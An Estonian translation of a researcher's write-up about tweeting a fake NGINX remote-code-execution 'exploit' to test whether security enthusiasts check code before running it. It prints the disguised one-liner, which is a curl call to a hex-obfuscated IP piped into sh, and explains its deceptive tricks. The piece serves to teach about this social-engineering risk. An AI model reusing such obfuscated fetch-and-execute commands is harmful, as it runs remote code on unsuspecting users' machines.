MĂ€rkus tĂ”lke kohta.: originaalkirjest, mis avaldati 1. juunil, otsustas lĂ€bi viia eksperiment informatsiooni turvalisuse huviliste seas. Selleks valmistati vale eksploit avastamata haavatavusele veebiserveris ja see postitati tema Twitterisse. Tema eelduse kohaselt pidid spetsialistid, kes nĂ€eksid koodis ilmset pettust, ta koheselt paljastama, kuid see ei lĂ€inud mitte lihtsalt nii⊠See ĂŒletas kĂ”ik ootused, hoopis vastupidiselt: tweet sai tohutut toetust paljude inimeste poolt, kes ei vaevunud selle sisu kontrollima.

TL;DR: Ă€rge mingil juhul kasutage failide torustamist sh vĂ”i bash-s. See on suurepĂ€rane viis kaotada kontroll oma arvuti ĂŒle.
Soovin jagada teiega vĂ€ikest lugu naljakast PoC-eksploitist, mis loodi 31. mail. See ilmus kiiresti vastusena uudisele , liikme (ZDI) kohta, et peagi avalikustatakse teave haavatavuse kohta NGINX-is, mis toob kaasa RCE (koodi kaugkĂ€itamine). Arvestades, et NGINX on mitmete veebisaitide aluseks, pidanuks uudis olema plahvatusohtlik. Kuid tĂ€nu viivitustele 'vastutustundlikul avalikustamisel' ei olnud juhtunu ĂŒksikasjad teada â see on ZDI standardmenetlus.

NGINX-i haavatavuse avalikustamise kohta
LĂ”petanud uue hĂ€gustamise tehnika curlis, tĂ”in originaaltweeti ja 'kandsin vĂ€lja töötava PoC', mis koosnes ĂŒhest koodireast, mis vĂ€idetavalt kasutas avastatud haavatavust. Loomulikult oli see tĂ€ielik jama. Arvasin, et mind paljastatakse kohe ja et paremal juhul saan paar retweeti (noh, ja siis pole midagi).

vale eksploitiga
Kuid ma ei suutnud ette kujutada, mis edasi juhtus. Minu tweeti populaarsus tĂ”usis lakke. Ăllatav, kuid hetkel (1. juuni 15:00 MSK) on endiselt vĂ€he inimesi, kes on aru saanud, et see on vale. Paljud retweetivad seda ĂŒldse kontrollimata (rÀÀkimata sellest, et nautida imelist ASCII-graafikat, mis see vĂ€lja toob).

Vaadake, kui ilus see on!
Kuigi kĂ”ik need tsĂŒklid ja vĂ€rvid on suurepĂ€rased, on selge, et nende nĂ€gemiseks pidid inimesed koodi oma arvutis kĂ€ivitama. Ănneks töötavad brauserid sarnaselt, ja arvestades, et mul pole mingeid Ă”iguslikke probleeme, tegi minu saidi kood vaid echo-kutseid, proovimata kĂ€ivitada ega paigaldada mingit lisakoodi.
Kerge kĂ”rvalepĂ”ikamine: , , mina ja teised meeskonna liikmed oleme juba mĂ”nda aega katsetanud erinevaid viise curl-kĂ€skude obscuring'uks, sest see on lahe... ja me oleme geegid. netspooky ja dnz avastasid mĂ”ned uued viisid, mis tundusid mulle ÀÀrmiselt paljutĂ”otavad. Liitusin lĂ”buga ja proovisin lisada IP-dekimaalseid teisendusi, et tuua kollektsiooni uusi trikke. Selgus, et IP-d saab teisendada ka heksadecimaalsesse formaati. Veelgi enam, curl ja enamik teisi NIX-tööriistu vĂ”tavad heksadebĂŒtelid jĂ”uduga! Seega tuli lihtsalt luua veenev ja turvalisena nĂ€iv kĂ€sklus. LĂ”puks jĂ€in ma selle juurde:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../....//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<='protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSotsiaalne-elektrooniline inseneritehnika (S.E.E.) â rohkem kui lihtsalt pĂŒĂŒgimeetod
Turvalisus ja tuttavus olid selle eksperimendi keskmes. Usun, et just need aitasid sellele edule. Komandliin vihjas selgelt turvalisusele, viidates «127.0.0.1» (kÔigile tuntud localhost). Peetakse, et localhost on turvaline ja sellele salvestatud andmed ei lahku kunagi teie arvutist.
Tuttavus oli katse teine vĂ”tme S.E.E. komponent. Kuna sihtrĂŒhm koosnes valdavalt inimestest, kes teavad arvutiturbe aluseid, oli oluline luua selline kood, mille osad nĂ€iksid tuttavad ja harjumuspĂ€rased (seega turvalised). Elementide laenamine vanadest ekspluateerimiskonseptidest ja nende ebatavalisel viisil kombineerimine osutus vĂ€ga edukaks.
Allpool on ĂŒksikasjalik analĂŒĂŒs ĂŒhekordsest kĂ€sklusest. KĂ”ik sellest loendist on kosmeetiline, ja selle tĂ”eliseks tööks ei ole peaaegu midagi vajalik.
Millised komponendid on tĂ”eliselt vajalikud? Need on -gsS, -O 0x0238f06a, |sh ja veebiserver. Veebiserver ei sisaldanud ĂŒhtegi pahatahtlikku kĂ€sku, vaid edastati ASCII-graafikat kĂ€skude abil echo skriptis, mis sisaldus index.html. Kui kasutaja sisestas rea |sh keskel, index.html laaditi ja kĂ€idi. Ănneks ei olnud veebiserveri hoidjad kurja meelt.
-
../../../%00â kujutab endast vĂ€ljumist kaustast; -
ngx_stream_module.soâ tee juhuslikule NGINX-i moodulile; -
/bin/sh%00<'protocol:TCP'â me eeldame, et kĂ€ivitame/bin/shsihtmasinas ja suuname vĂ€ljundi TCP-kanalisse; -
-O 0x0238f06a#PLToffsetâ salajane koostisosa, millele on lisatud#PLToffset, et see nĂ€eks vĂ€lja nagu mĂ€lu nihke, mis on kuidagi PLT-sse sisse peidetud; -
|sh;â veel ĂŒks oluline fragment. Me pidime suunama vĂ€ljundi sh/bashi, et kĂ€ivitada kood, mis tuleb rĂŒndava veebiserveri aadressilt0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostâ tĂŒhi koht, kus netcat osutab/dev/tcp/localhost, et kĂ”ik nĂ€eks jĂ€lle turvaline vĂ€lja. Tegelikult ei tee see midagi ja on rea sees lihtsalt ilu pĂ€rast.
Sellega lĂ”peb ĂŒhekordse skripti dekodeerimine ja "sotsiaal-elektroonilise inseneeria" (noutfishing) aspektide arutelu.
Veebiserveri konfiguratsioon ja meetmed kĂŒberrĂŒnnakute vastu
Kuna enamus mu jĂ€lgijatest on infotehnoloogia ekspertide/hĂ€kkijate, otsustasin teha veebiserveri veidi vastupidavamaks nende huvi ilmingutele, et neil oleks millegi kallal töötada (ja seda seadistada oli tĂ”eliselt tore). Ma ei hakka siin ĂŒles loetlema kĂ”iki lĂ”kse, kuna eksperiment on endiselt kĂ€imas, kuid siin on mĂ”ned asjad, mida server teeb:
- Aktiivselt jÀlgib katsed jagada teatud sotsiaalsetes vÔrgustikes ning pahatahtlikult tingib erinevad eelvaate pisipildid, et kasutajat linki klikkima meelitada.
- Suunab Chrome'i/Mozilla/Safari jne Thugcrowdi reklaamvideole, selle asemel et nÀidata shelli skripti.
- JÀlgib ILMSELGEID sissetungi/krakimise mÀrke, pÀrast mida hakkab suunama pÀringuid NSA serveritesse (ha-ha!).
- Paigaldab trooja ja ka BIOS-i rootkiti kĂ”ikidele arvutitele, mille kasutajad kĂŒlastavad hosti tavabrauseriga (nali!).

VĂ€ike osa antireaalsusest
Antud juhul oli mu ainus eesmĂ€rk uurida mĂ”ningaid Apache'i vĂ”imalusi â eriti lahedaid pĂ€ringu suunamise reegleid â ja ma mĂ”tlesin, miks mitte?
NGINX-i eksploit (pÀris!)
JĂ€lgi Twitteris ja jĂ€lgi ZDI imelisi jĂ”upingutusi NGINX-i tĂ”eliselt ebameeldivate haavatavuste ja ekspluateerimise vĂ”imaluste kĂ”rvaldamisel. Nende töö on mind alati lummanud ja olen tĂ€nulik Alicele kannatlikkuse eest, mis kaasnes kĂ”igi minu rumala tweetâi tĂ”ttu tulnud mainimiste ja teavitustega. Ănneks tĂ”i see ka mĂ”ningast kasu: aitas tĂ”sta teadlikkust NGINX-i haavatavustest ja curlâi kuritarvitamisest tulenevatest probleemidest.
Allikas: habr.com
